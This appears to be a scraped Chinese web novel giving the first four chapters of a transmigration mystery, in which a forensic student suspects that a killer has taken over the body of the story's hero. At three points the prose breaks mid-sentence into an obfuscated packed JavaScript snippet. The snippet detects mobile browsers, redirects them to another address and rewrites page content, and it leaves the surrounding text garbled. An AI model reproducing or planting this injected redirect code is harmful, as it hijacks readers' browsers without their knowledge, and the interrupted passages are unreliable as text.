《用抽卡在高危推理漫画中求生》 1. Episode 01 Episode01重生与抽卡 一天前,即Anubis月历3月23日。 彩带、气球、热腾腾的美食和冰镇的饮料。 围坐在大学校园空置的教室里面,是七八个学生的小型聚会。 “干杯!” 在恶事做尽的Anubis市长被我们抓住犯罪证据,弄下台后,我们为我们的主角傅霖举办了欢送会。 好几杯啤酒下肚,傅霖清俊的面庞微微泛红。他酒量浅,大家默契地看着他发笑,结果他忽然开口说道:“我们认识一年多时间,现在又即将分离……其实不瞒你们说,我和商河星两人都来自21世纪蓝星,玩了一款叫做《无罪之都》的全息游戏,结果被困在这里……” 他的话音刚落,原本的热烈空气好像被无形的手捏住了片刻。 一时间,或茫然,或尴尬,或不安,大家手中的杯子停在半空,只剩下彩带还在空气中自由地摇着光影。 我下意识地沉默了,脸也不自觉地有点发僵,“……” 周围几双眼睛下意识地对视,无声地交换想法。 “蓝星?《无罪之都》?”我们中一个女生朝着我的这边转过头,追问道,“这是什么啊?黎稚你知道吗?” 突然被点到名的我立刻笑了笑,“我怎么可能知道?傅霖肯定喝醉了。” “傅霖,你喝醉啦!” 周围的人笑着起哄。 傅霖跟着我的话,抬头,懵了一会儿,还要据理力争,“我都要走了,肯定说的是真话。” 在周围的哄笑声中,我下意识地望向角落处一言不发的另一名主人公——商河星。 傅霖认真地告诉我们这些事时,商河星似乎在分神。他眉眼单薄冷淡,少言寡语,说话又刻薄,也从不轻易表露自己的心情和想法。周围的小伙伴们跟他相处那么久,都没办法和他亲近半分。而他本人似乎也从来都没有想过要和人有什么交集。 我只望了他一眼。 因为我跟他也不熟。 我们几人基本都是为了查案凑在一起,从Anubis图书馆连环杀人案到生物实验室怪事到不可能的密室再到解决陈年旧案,再到后面的揭发市长的恶行等等,基本不会主动招惹他。 我沉默着,“……” 看傅霖急于自证,也没有人敢让商河星回应,我心里浮起了各种想法。 事实上,傅霖说的是真的。 他们真的是穿越的,来自蓝星。 因为我也是来自蓝星,但不同的是,他们是我看过的《无罪之都》推理漫画的人物:傅霖是正统派主角,商河星是被主角感化后洗白加入主角队的前反派角色,他们一起走到了最后的胜利。而我是从这里再次出生长大,成为漫画NPC的穿书者。 我等到了主角们的到来,也看到了异世界访客的悲欢离合,直到现在的大幕落下,曲终人将散。 “真的!”傅霖一遍又一遍地说。 几次拼凑下来,他基本把漫画剧情设定都跟我们说了一遍。 他们穿越前,以为这是一款叫做《无罪之都》的全息游戏。可在游戏开始的一瞬间,他们才发现被困进了这个城市里面。 同样被困在这个世界的不止他们,还有其他五位玩家。 傅霖说:“主神跟我们说,这是一座犯罪率极高,犯罪活动密集,犯罪团伙横行的高危城市。” 他继续进一步解释:“我们玩家若是想要离开这里,就必须解决这座城市的秘密。如果出现一个玩家死亡的话,就有要找出真正的凶手的必要,否则其他玩家也会被跟着抹杀。” 我听他这么肆无忌惮地讲我们所在的Anubis其实是游戏世界,有一刻很担心他会突然冒出一句“如果有成为凶手的玩家脱离世界,这座城市也会彻底崩坏”。 不过幸好他没讲,而其他原住民也早就把这些当作是醉话,都并没有太放在心上。不过随着时间流逝,欢送会也要结束了。在打趣中,众人的不舍和难过渐渐浮上脸庞——所有人都知道他解决完「Anubis市长」的事情后,就要回老家了。 “现在通关就好了。”我的小伙伴一边给他倒酒,一边配合他的说辞道。 傅霖忍不住百感交集,“谢谢你们的帮助,我真的很感谢你们,也会很想念你们的。” 这个虽然说一开始对他们来说是游戏,但是过程中与其他漫画里的玩家角色之间发生了很多的事情,经历过嬉笑怒骂,也见证过生离死别。这段旅程的厚重性比他们想象中的还重。 我记得看到漫画结局的时候,也忍不住跟着唏嘘。 漫画主角们的故事将在这个欢送会结束,而我则从此可以安心地展开新的生活,不用再怕玩家崩坏我所在的城市。 离别时,一向温吞的我还是忍不住和傅霖拥抱了一下,并且还送了一长封离别信给他,里面写满了我(读者)对他(主角)的真情实感,请他在离开后再打开。 那时候,我并没有觉得有任何怪事发生。 其实,第二天又回去学校上课的时候,我发现傅霖居然还没有走,也没有觉得奇怪的。 因为漫画虽然写着欢送会结束后,傅霖和商河星两人便被召回主神空间,开始清算任务奖励,但是我看到的漫画结局就是到这里停止了。 留白的部分,读者自然会认为他们回到自己的世界了。 可事实上,我们还有这边的现实生活。他们也许还是按照约定的一个星期后坐着Anubis的列车离开也说不定。 我确实还是对这部分的情况觉得有点疑惑,也只想着我自己的信件给早了。 这件事还被小伙伴们笑过。 可谁叫我真的以为欢送会结束后,就会离开了,会怕自己给得太晚。 然后,偏偏又发生了一件事。 这件事让我觉得,傅霖莫名开始有点奇怪。 事情就发生在欢送后再次见到傅霖的当天傍晚,我从大学校园骑着自己的自行车回家。 没错,我是个土著。 我住家,不住校。 我从学校南门离开之前,听到了汽车轮胎紧急刹车的刺耳声,并且伴随着一声结结实实的撞击声。 现在乾坤朗朗,怎么容许再发生恶事呢? 我骑着单车过去之前,还隐约听到了悲惨的呜咽声——脑海里陡然浮出一只小狗被无良的车主撞伤,只能可怜兮兮地哀叫。 然而我赶到的时候,并没有看到肇事的车辆,而傅霖半蹲在地上,手底下是一只躺在地上一动不动的小狗狗。 “傅霖,发生什么事了?” 我说完的同时,眼睛不自觉地落在了他的手上。 那双指骨分明的大手没进了小狗的皮毛里面,污浊的鲜血从他的指缝间蜿蜒而下。我理所当然地会认为是傅霖在救助这只可怜的小狗,可是傅霖看着我的时候,那双幽深无光的眼瞳,让我有种说不出的心慌。 我下意识地避开了他的眼睛,“我骑车送它去宠物医院吧?” 说话间,傅霖又恢复了熟悉的温和模样,表情上带着慈悲,这表情的转变自然得仿佛我刚才产生了错觉。 傅霖垂眸,低声道:“我赶到的时候,它已经死了。” “…是吗?” 我既感到遗憾,又为小狗感到可怜。 傅霖一如既往地会安慰人,“小狗没有经过太久的折磨,这反而是件好事,不对吗?” 也对。 “那我去负责葬了它吧。”我提出来。 我是法医专业的。虽说现在我还是在校生,但是从小跟着父母耳濡目染,基本的尸体防腐和修复的工作也能做得跟熟练工似的。 傅霖便笑了笑,说:“我跟你一块去吧。” 傅霖还是一如既往地善良,他还亲手把小狗葬进了土里。 然而,就在我们一同离开的时候,我意外地听到了奇怪的冷笑声。可我下意识地查看周围,也没有见到多余的人。 傅霖还觉得我疑神疑鬼的,总是到处看来看去。 我觉得自己可能太敏感了… 晚上时,我翻来覆去,总觉得哪里想不透。正睡不着觉,我的手机突然震动了一下。 来到这个世界,我是带着一个名为抽卡系统的金手指的。只是这个抽卡系统其实也没有太多特别的功能,包括我在协助傅霖查案,解决漫画情节的过程中,系统也毫无作用,除了提供了零食。 对! 从小到大,每次抽卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073786|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是只有各种小零食:辣条、焦糖瓜子、草莓牛奶、果冻和雪糕等。 这其实很棒! 我完全把这个抽卡系统当做我的点心盲盒。 得益于这个零食,我小时候周围总是不缺朋友,甚至认识了不少漫画的关键人物,也顺利发展成为了亲友关系。可是长大后,我也不需要用这些零食来刷好感。 我也就很久没有抽卡了。 现在,手机的抽卡软件却诡异地动了一下。它居然还自动更新了,分出了Anubis漫画分区。 抱着好奇心,我刚打开漫画,便看到了炸裂的一幕—— 漫画里面正是我们几个欢送傅霖和商河星离开的画面,网页评论上也是在盛赞傅霖年少有为,少年英雄,是Anubis的救世主。 这与我们经历的事情一模一样。 紧接着下一幕中,傅霖和商河星被转进了主神空间。 主神清点他们做的成就。 漫画中商河星总是淡淡的,直到主神说道:“这个任务只有一个玩家能领取奖励”,这意味着也只有一个玩家能离开Anubis。 商河星直接让给了傅霖,“他才是救世主,自然是傅霖可以走。” 傅霖顿时一怔,旋即毫不犹豫地回应,“不行!我们一起回去!我不会留你一人在Anubis的。”他的目光明亮而坚定,“我们再想想办法!这里也有我们的朋友,我们绝对可以想出一起回去的方法的!” 商河星眼神微冷,像是看着一个固执的孩子,带着一丝压抑的无奈,“你总是那么天真。” 傅霖知道这是他的妥协,很快就灿笑起来。 就在他回身向主神拒绝奖励的时候,身后的商河星却毫无预警地掏出一把匕首,精准地捅进了傅霖的后心。 血花溅在两人之间,猩红残忍,不近人情。 傅霖带着凝固的笑容,不可置信的表情望着商河星,缓缓地倒地,“…为什么你……?” 而凶手只是淡淡地抬头看向主神,对傅霖的痛苦视若无睹。他的语气平静,“从头到尾,我都没打算与人分享我的胜利。主神,现在只有一个玩家了。” 主神对背刺的血腥一幕并不以为意,只是微微一笑,“是的,现在玩家可以领取唯一的奖励了。” 于是,乍现的白光淹没了商河星。 他微微地眯起眼睛,静静地迎接这份胜利的洗礼。然而,当他再次睁开的时候,从镜子里面看到的却是傅霖的脸。 不仅如此,他依旧在Anubis。 一瞬间理解到自己被困的处境,镜中那张傅霖温和善良的面容顿时冷酷至极,带着一股压抑的疯狂。 …这到底是怎么回事? 他的眼神越发阴沉。 【哇!!!开局就这么炸裂吗!】 【幕后黑手流反派居然从正统派主角身上活过来!】 【这主角是真的狠……】 这漫画看得我脑袋“嗡嗡”作响,全身莫名得发冷。 而漫画画面很快地切换雨夜。 在大雨滂沱的十字路口里,一名穿着深色卫衣的黑发青年正等着通行灯横穿马路。然而,就在这时,一双手从黑暗中伸了出去,黑发青年的脚步趔趄,径直往前栽去。而两道闪光忽然而至,朝着青年猛地撞了过去。 混乱奔走着的雨线里面,青年脖颈上铜钱状的玉坠也跟着飞了出去。 雨中,他的鲜血从身体伤口处渐渐蔓延开来。 越来越多的人集中在了这个街道口,仿佛就像是等着节目开始的观众。而傅霖,又或者是商河星则沉默地站在人群当中。 空气中轻轻地浮着商河星的想法。 『先把熟悉傅霖,会妨碍我的人一个个清理掉』。 『这是第一个』。 ——《第一章重生》预告完 【嘶——《无罪之都》绝了!这也可以?!】 【头皮发麻!】 【啊啊啊啊!好看!!期待住了!】 我对弹幕的信息完全接受不良。 因为根据漫画,那飞出去的玉坠跟我身上的一模一样。 而显示的血量也表示,这人必死无疑。 我感到了一股窒息。 2. Episode 02 Episode02答案昭然若揭 ——Anubis星期二7:23a.m. 这是《无罪之都》漫画完结第三天早上。 我对着镜子生无可恋地洗漱。 我爸从我后面取牙刷和水杯,我稍稍给他让了一条道。我爸却盯着我“嚯”地一声,“你的黑眼圈怎么那么严重?昨晚熬夜做什么了?你昨晚不是说要去单位报到,要早点睡吗?” 这是我在Anubis的爸爸,他说话的信息比较密。而我妈其实也属于比较唠叨的那种。他们说话只是因为他们的性格所致,有时候并不追求答案。 所以,就算我这个时候不回答,他们也毫不介意。 我记得,有一次幼儿园老师在评语里面写我性格内向,不爱说话,我爸和我妈还吓了一跳。他们以为在他们说话的时候,我一直都有参与,认为我肯定也是在学校里面最闹腾的一个。 我父母的钝感力让我震惊。 因为他们担心我不爱说话,是身体有问题,或者心理有问题。 小时候就爱带着我看医生。我的就诊单叠起来也是一块块可观的板砖。不得已,我只能被迫交友。有着抽(ling)卡(shi)神(mang)器(he),我很顺利地成为了全班最受欢迎的学生,连其他班级或者年级都知道我,经常找我玩。 其人气程度达到了「只要我一个人待着,他们就会担心地问我,是不是心情不好」。 “……” 老实说,拜这个所赐,我对「你是不是心情不好」有点应激反应。 众所周知,陪小朋友玩,真的很累,累到我希望我来生是一棵角落里无人问津的小草。 我只想坐在角落里面发呆而已。 等到我终于熬过了不需要老师评价的年龄,我马上报读了本地最高学府的冷门专业——法医专业。 那时候,我依旧每周都有一大群朋友来找我。 这一直持续到,我给他们看我在法医实验室面无改色地用体重压着肋骨剪,铰断人体肋骨的视频;再分享「尸体是酗酒者,连血液也有一股令人作呕的甜味」的见闻,以及那流出来的脂肪就像是他们手上的蛋糕上面那层厚重油腻的奶油后,我朋友肉眼可见地开始失联。 可这样愉快,叫人心安的平静生活还没有持续一年,《无罪之都》的漫画剧情开始。 迫于漫画设定,也为了保持我现在平和的生活,我加入主角小队,顺利把原来一年半的剧情压缩到一年就结束。 记得在欢送会晚上,我还窝在被窝里面,反复检查我那安静的通讯录,快乐地入眠。 如今,未知的漫画故事再次重启。 而更糟糕的是,我昨晚看了一下天气预报,三天后(星期四)开始持续有雨。城市开始正式进入春天的雨季。 到时候,原本只是一个微不足道的小人物,要在新漫画里面献上第一血。 …… 麻木地洗完脸之后,我跟我爸说,“今天去报到前,我想先去学校一趟,你和妈就不用载我了。” 我爸和我妈跟我同一个单位。 我选这个专业的原因之一,也是因为想和我爸妈多待在一起,每天可以一块回家,顺便聊一下今天的尸体(?)。总之,某种程度上我还是比较粘父母的类型。 话是如此,可我爸妈与我的领域是不一样。 法医学领域从业者,除了常见的APT(解剖病理技术人员)和法医病理学家之外,还有法医昆虫学家、法医毒理学家、法医齿科学家,法医化学家等等。 我爸是昆虫学家,我妈是专注于DNA分析,我走通科。 “行,那到时候吃午饭再见咯。那早餐……”我爸随意地“咕噜咕噜”漱口后,说道,“你在大学城那里解决?” 我们全家都不太会做饭。 我爸妈从小到大要么带着我蹭单位食堂,要么就是下馆子吃外卖。于是,厨房终年无油烟。 今天如果我们一块去上班,肯定会一起吃早饭的。不过,我要去检查一件事。 “对。” 我应完后就回房间拿挎包,顺便去主卧室看我妈,“妈,我出门啦?” 我妈郑女士还半睡半醒着,躺在被窝里面,声音闷闷的,“我快醒了。你等等我呀!我眼睛都睁开了,我的手机在哪里?” 我解释道:“我一个人先去学校。你跟爸两人正常去单位就可以。” 原本还有挣扎到一半,听到这句话,郑女士重新倒在枕头上,“那我再睡会…”沉默两秒,又问,“那你爸去哪了?” “去洗衣服了。” “行。” 一个单音,我确定她要睡很久了,“中午见。”说完,我又轻轻地把门合上。 ※ 事实上,昨晚我入睡前,我和傅霖取得过联系。 如果他真的被换芯了,无法离开的话,他应该会想办法或者用理由留下来。 于是我问,傅霖可不可以再考虑不要走? 我还说了类似“Anubis城还需要他这样的正义之光拨乱反正”十分中二的言辞。 傅霖则坚定地说,他并没有打算取消离开Anubis的车票,还花了很多时间宽慰我不要太难过。 这种耐心和真诚是商河星那种冷漠的人没办法完全复刻的。 到这里,我还没有完全放下心,于是我又问了商河星的下落。 因为商河星虽然也是大学生的年纪,但是他并没有按部就班地来大学城读书,所以很少人知道他的行踪。 傅霖回复道,「你要是找他有事的话,我可以帮你跟他联系。」 整个过程都很自然。即使我还没有放下疑虑,可是多问的话就会显得刻意又可疑。我及时止损,只是说了一句「其实和他认识那么久,没办法顺利地和他成为朋友,一直都是我的遗憾。」,很快就结束了这个话题。 我翻来覆去,一方面希望是我多想了,一方面又觉得我应该好好确认一下。折腾了半夜之后,我决定去昨天葬流浪小狗的地方,再次看一眼。 那是学校医学部或者生物部门的生物安全填埋场,专门用来处理安乐死的医用动物尸体或者医疗废物的。 因为我大学成绩一直以来还不错,也得到过导师的认可,所以到现在我依旧有生物安全填埋场的出入权限。 新挖的土壤仍然十分松软。 毛绒绒的尸体也没有那么快腐化,触感让我想到小时候收到了毛绒玩具,冰冷又僵硬。 我昨天并没有怀疑傅霖的话,因为那个人是傅霖。 可是,出现的漫画预告让我不得不再确认一次「跟我们相处了一天的傅霖是否已经换了芯」。 在原著中,商河星作为七个玩家之一,虽然没有任何犯罪记录,但是前中期都是作为傅霖阵营要抗衡的中级Boss。他曾经在Anubis市长「阿瑟」的手下做事,对Anubis的黑暗面了如指掌。后来,接受了傅霖的感化,商河星迷途知返,一举成为当时漫画的人气角色,在主角队的重要性也水涨船高。 毕竟,商河星又是时髦的黑客人设,长相也是符合女性审美。 在我看来,只是作者不想死一个人气角色而流失大量读者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073787|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才安排他洗白的。 商河星依旧是个阴冷沉郁,不择手段的形象。 我有个可怕的猜想:昨天出车祸的小狗并不是被撞死的,而是被商河星闷死的,又或者用手扭断小狗的脖颈。 我的手指摸向小狗的腹部,肿胀和淤血符合车祸后内脏破裂出血的现状。 出车祸骨折也是常见的临床病例,骨折区充血肿胀,且有皮毛破损的情况,小狗身上多处骨折,最严重的应该是脊椎斜骨折,就算狗存活下来,也会永久瘫痪,生活无法自理。 “……” 人为扭断狗的脖子致狗死亡,是无法形成脊椎斜骨折的。 口鼻处也没有出血点,这说明也不是闷死的。 发现我只是过度猜测了傅霖的行为,着实让我松了一口气。 事实上,抽卡软件的漫画也不一定是现实。 我安慰自己。 就在我打算收拾小狗尸体的时候,意外地,我收到了傅霖的电话。 无意识间,我很想把这个电话挂断,总觉得这是个麻烦的开始。可是我又不得不开手机回应。 “黎稚。” 我提起精神,回应道:“傅霖,怎么了吗?” “我很在意你昨天晚上说的话,你想见商河星,是吗?我帮你约出来,如何?”傅霖依旧是热心肠。 我刚要拒绝,可是我觉得声音哑了哑,又说道:“可以的话,我们一起见一下他吧。” 这才真正能判断到底有没有换芯。 毕竟,如果真的换芯的话,刚被背刺的傅霖不可能会配合商河星的。就算是配合,他也会积极地求救。 我认为是该见的。 定下时间后,我正打算把小狗尸体放回原处。突然,手机的抽卡软件又弹出了一个通知。 打开一看,又是新的东西。 【恭喜宿主签到第5000天,您将得到一张特别的抽卡机会。】 【Hint:卡池里面隐藏着无数可以改变命运的机会。如果想要在高危世界下生存,你一定离不开卡牌。】 后面的提示早在我第N次抽到零食后,就已经完全被我无视了。 不过,我拿到卡牌的时候,依旧忍不住心动了一下,因为我早餐还没有吃。点击「抽卡」,屏幕的光持续了六七秒,最后光芒褪去,一张卡牌也冒了出来。 【恭喜宿主!】 【您抽到了珍贵的S级卡,获得热乎乎的美味糖炒栗子】 “……” 不愧是零食盲盒。 【您是否现在就要领取奖励?】 我正饿着肚子,还想着点「确认」。可就在这时,只是一个短短的一瞬间,我突然间意识到金属盘上折射着一点微不可见的红点在移动。 没转头,我也已经意识到背后有个摄像头在悄无声息地注视着我。而有人冰冷的视线已经穿越时空限制,直勾勾地落在我背上。 学校的监控一向是摆设为主,常年关闭。 可是此刻……它却启动了。 刹那间,与商河星为敌的那段回忆浮上心头——作为黑客的商河星,监控如蛛网般密布,紧紧地锁定着所有的“猎物”。 我的后背不自觉地僵住了,指尖冰冷而麻木。思绪纷乱之间,血液在耳边轰鸣。 “……” 是商河星在监视我吗? 他难道觉得我在怀疑他吗? 低垂的视线落在那只小狗身上,我陷入了久久的沉默。 ——那“傅霖”的身份已经昭然若揭了。 可是,真正的傅霖现在是什么情况呢? 3. Episode 03 Episode03第三人称转视角故事才刚开始 「获得最终的成功有三种方法:第一种方法是善良;第二种方法是善良;第三种方法还是善良。」 ——《MisterRogers’Neighborhood(罗杰斯先生的邻居)》 * 【AGU(AnubisGlobalUniversity)欢送会】的横幅在一间房间里高挂着。 商河星沉默着看这个充满违和感的名字。 无论看多少次,他都觉得这个名字很出戏。 就像是担心所有玩家沉迷于游戏中,才特意采用了这种可以虚构的大学名。 Global全球的? 这座游戏世界也只有Anubis这座大城市而已。 玩家商河星扫过横幅,又将目光落在了坐在被称为「Anubis救世主」的玩家傅霖身上。此刻,傅霖正坐在中心位置,接受众人簇拥。 不得不说,只有游戏才能轻易地赋予人们跨阶级的荣誉和享受。 “你要喝点什么吗?” 开口的女孩是小庄,《无罪之都》全息游戏的NPC法医学生。 她20岁,腼腆紧张的面容因开口而微微泛红。 她连搭话也需要有人陪她来壮胆。 商河星顺势瞟了一眼旁边的黑发青年黎稚。 黎稚在女生说话的时候,微微避让了一下,把主场让给了女生。 这人是典型的好人形象。然而在这个高危游戏世界里面,他除了安慰人、偶尔冒出探案灵感之外,并没有什么存在感。 此时,他错开一步,站在斜后方。面容轮廓线正好被窗口透进微量的光线浸沐着,勾勒出一层淡淡的光晕。浅色的衬衫贴合着对方修长的身形。他面容柔和斯文,周身满满的书卷气,抿着笑意的嘴角此刻让人无意识地跟着精神一松。 注意到商河星并没有回应,黎稚微笑着帮小庄接话,“或者你想吃点什么吗?” 他从不会让气氛冷场。 或者,就是因为他从来都不会让和自己相处的人感到不适。这种体面和舒服,自然又流畅得如同系统设置,总显得他这人虚假不真实得像个假人。 “不用。”商河星一句话拒绝。 很显然,现在的情况是在傅霖和商河星在完成《无罪之都》最后任务后,打算离开游戏时,小庄就像是那些高中毕业典礼结束,要抓紧时间告白的人,努力找机会搭话。 商河星吝于与NPC周旋。他也不相信这些人会拥有感情。只有傅霖才会在没用的地方配合对方。 可黎稚又很快就开口,“这也许是最后一次见面……” 不同于玩家傅霖选择了大学捏自己的身份牌,商河星选择了更加独立,不受束缚的自由职业,这方便自己在这个城市行动。而对团队来说,唯一不是学生的商河星是最后一次出现。 黎稚继续笑道:“让我们尽地主之谊。小庄,你要负责好好照顾商河星。”说着,黎稚就把小庄安置在商河星的旁边。小庄被黎稚这一行云流水的安排弄得又惊又喜。 小庄轻轻拽了下衣角,眼神也忍不住在商河星的脸上多停留了几秒。 而商河星冷眼盯着黎稚多此一举的行动,最后还是选择沉默。 因为玩家傅霖现在也开始分神关注他们这边的动静。 要是让傅霖过分在意自己这边的情况,对商河星来说,反而不利。 今天是留在Anubis的最后一天。 在穿进这个全息游戏时,主神已经说明白了获得最后胜利的玩家才能够领取奖励,也就是说会实现玩家的愿望。 关于这一点,玩家傅霖已经说了,他的愿望是融合现实世界和Anubis。这样,他们在可以和并肩作战的伙伴们保持联系的同时,还能够维持正常的生活。 现在游戏积分最高的便是傅霖。 不出意外,这个毫无意义的愿望即将实现。 如果可以的话,这种世界本来就不该存在才对。 在这个游戏世界,游戏规则简单讲的话,只有三个方面—— 1.破案任务。接受并完成破案任务,延长玩家的生存时间。 2.主线任务。找出并完成游戏的主线任务,才能最终通关。 3.玩家条件。游戏过程中,非生命时长终止的玩家,其凶手必须被找到,否则所有玩家都会死亡。玩家不能以“凶手”身份脱离,否则世界会崩坏。 这些规则看似严谨,却暗含着很多的漏洞。 最明显的是,如果在主神空间杀死另一名玩家,由于空间不属于“游戏进程”,杀死玩家的凶手身份并不会影响游戏规则。 只要没有玩家能破案,凶手就能脱离。 在一开始,商河星就意识到这一点,也想好了如何利用这条规则。 所有玩家第一次接触规则时,商河星扫视一周,在主神空间提出建议,“也就是说,为了夺取唯一的胜利,玩家间互相淘汰是最愚蠢的。”这一句话让听到奖励规则而焦躁的玩家们瞬间安静了下来。 暂时没有人察觉到他开始在误导。 “什么意思?”某个玩家没有反应过来。 商河星淡淡地说道:“在游戏过程中,不能出现玩家互杀的模式。想想,一名玩家非自然死亡,凶手玩家要么被找出犯罪证据,要么自白,否则按照规则,所有玩家,包括他自己都得死。难道不是吗?” 傅霖很快就明白过来,“这条规则就是为了限制玩家互相攻击的行动。那就太好了,本来就担心自己现在还能不能活下去,现在至少有可以相信的伙伴了。” 商河星肯定了他的想法,“没错。” 只是主神强调的是,「游戏过程中」。 待在主神空间的时候,其实并不属于「游戏时间段」。 这段时间是允许杀人的。 商河星自然不怕大家注意到这点。 可他相信也不是那么容易让大家付出行动。 因为在毫无遮蔽物的主神空间里面,同时上下线的玩家们想要藏匿自己的凶手身份,几乎是不可能的。更别说,所有人都想脱离这种有寿命计时束缚的世界,彼此合作才能够达到最后的目的。 而今天,商河星终于有机会践行这个想法。 事实上,他对傅霖没有私人情绪或者恩怨。 这是获得胜利的策略中的一环。 “现在玩家可以领取唯一的奖励了”。 主神话音刚落,商河星被一片刺眼的雪色光芒包裹。 他原以为会回到现实生活中,可睁开眼时,他却来到了陌生的宿舍里。再往宿舍门旁的镜子一望,站在宿舍里的人居然长着傅霖的脸,可是身上完全没有半点伤痕。 他忍不住愣住,内心涌上了强烈的疑惑和不安—— 这到底是怎么回事?他真的赢了吗? 这到底是奖励,还是另一种意想不到的惩罚? 手机里面显示的时间是3月24日,是欢送会结束的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073788|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天。 这就像是在说,故事还没有结束。 又或者,故事才刚开始…… “那傅霖是什么情况?” 商河星正打算出发去自己原本的住处一探究竟。 如果是身体互穿的话,那傅霖应该也会出现在他自己的住处里面。可是他刚出宿舍门,就遇到了骑着单车从学校后门路过的黎稚。 四目交汇,商河星有一瞬间感觉到了黎稚眼神闪过的惊异和戒备,就像是从他身上读到了陌生的灵魂一样。 恍惚之间,商河星意识到一件事,傅霖曾经说过,黎稚比普通人要敏锐,很多时候的关键信息都是他提出来的。 心里想到这点时,商河星的心沉了沉。 商河星迅速调整神情,模仿傅霖的语气。他只是懒得应付NPC,不代表他很难做出友好的态度,“黎稚,早上好。” “早上好…”黎稚无可挑剔得如同家政机器的人表情里面有了短暂的迟疑。 可很快地,似乎意识到他自己这种表情比较冒犯,于是黎稚又重新扬起了熟悉的温和笑意,“我刚才在想着,要不要捎你一程?” 商河星下意识地瞥了一眼他单车上前面的横杠和没有座位的后侧,“……” 这人原来是会开玩笑的类型吗? 傅霖此刻会说什么呢?应该会跟着开玩笑吧? 商河星学着傅霖一贯的挑眉,“也没有位置,你这是想让我骑你身上?” 这话一落,而商河星接受到了来自周围四面八方的学生的侧目。一些细微的声音也跟着传了过来。接受过身体素质提高的玩家可以听得清很多细节。 “果然是真的——!” “传闻说的是什么啊?” “昨天晚上黎神对傅霖递了情书啊!!” “所以傅霖刚才这是答应了吗?” 商河星还没有仔细听,只言片语就让他感觉到了窒息。他突然想起这人确实在昨天晚上递了一封信给傅霖。 黎稚并没有注意到周围的悄悄话,目光澄澈,笑道:“那我们可得练过杂技才能安全地骑车了。” 看这表情,商河星确定黎稚根本不知道校园里面的传闻,而那封信更不是什么情书。 商河星在心里松了一口气,紧接着黎稚又突然冒出一句话,“你今天好奇怪,会说出这种话,你平常不是不会接我的玩笑话吗?” 这话把商河星的心吊了起来。 可是,这个罪魁祸首就这么毫无解释地离开了。离别时多看的几眼让商河星无法放下心。 无独有偶—— 傍晚时分,商河星注意到车祸撞伤一只小狗后,反而加速逃离现场。流浪小狗可怜地呜咽着,奄奄一息,在路边苟延残喘。 商河星冷冷地注视着,内心的寒意也随着狗的哀鸣逐渐深沉下来。他本来想走开,最后还是弯下腰,选择送了它一程。 然而他的手还没有离开狗的尸体,一道熟悉的声音再次打破了短暂的宁静,“傅霖?” 那并不是任何人,正是黎稚。 他的影子在夕阳映照下被拉得又深又长,几乎笼罩了自己。而黎稚的脸在光影交织间显得模糊不清,神情有微不可见的探究。 商河星一看到那人,内心暗道“该死,又是他”,几乎没了其他想法。 在陪着黎稚葬小狗的时候,商河星内心的杀意逐渐冷静地凝固起来。 『得先把熟悉傅霖,会妨碍我的人一个个清理掉。』 『而这是第一个。』 4. Episode 04 Episode04我肯定不谢你 我的头脑很乱。 直到我回单位报到的时候,我还觉得我的心就像是装了一只勤劳又没有活动方向的小蜜蜂,“嗡嗡嗡”地飘忽不定地飞来飞去。 虽然挖小狗的坟可能让他起疑了,但我也不能因此做出什么更过分的举动去掩饰吧? 像是,肢解小狗、放血、剥皮、取脏器、摘脑子什么的…… 光是想想,我就觉得这也太可怕。 我只是个追求生活平和的学生,我不想表演自己其实是个内心肆无忌惮的嗜血变态。 再说了,要是商河星把我这些行为记录下来,放给我的亲友看,他们肯定会被吓坏的。 …… 我一没事做,脑子里面就会反复播放我今早的行动。 这个时候,站在旁边的小庄凑过来,轻声打断了我的思路,“黎稚,可以帮忙吗?后脑勺那里翻不过去……” “哦,我去看看。” 实习第一天还是在学习,跟着詹主任学开颅。 这是一件比较精细的活,实习生还不能先从分离头身开始。 实习生的我们先从在橡胶头部座架的人头做起。 人头都是真的人头,练手感是很重要的。 首先,要处理头发。头发还是润湿后会比较好梳理,尤其是女性的长发。我们也是会用到正常的梳子,把头发齐整地分开,直到露出完整而明显的头皮线。 开颅得从后脑开始,这样缝合的时候才不会被人发现这里有痕迹。 这里得讲,用的缝合线也是特殊的。要知道,尸体腐化到了某种程度,连棉线都可以切断它的皮肤,这会让整个皮肤看起来就像是小孩子撕碎的纸张,边角乱糟糟的。 梳好头发后,后脑的头皮线往往会像是Word文档的边框一样明显。这个时候就要用换上解剖刀,沿着线用力切下去,这样头皮就可以绽开。边缘处的皮会明显延展出来,且具有一种松弛感。 有撕过贴纸的朋友们一定会深有体会,或者非常清楚之后要做什么,手要抓起那个翘起的角,力道尽量均匀,这样才不会让贴纸撕到中间断裂。 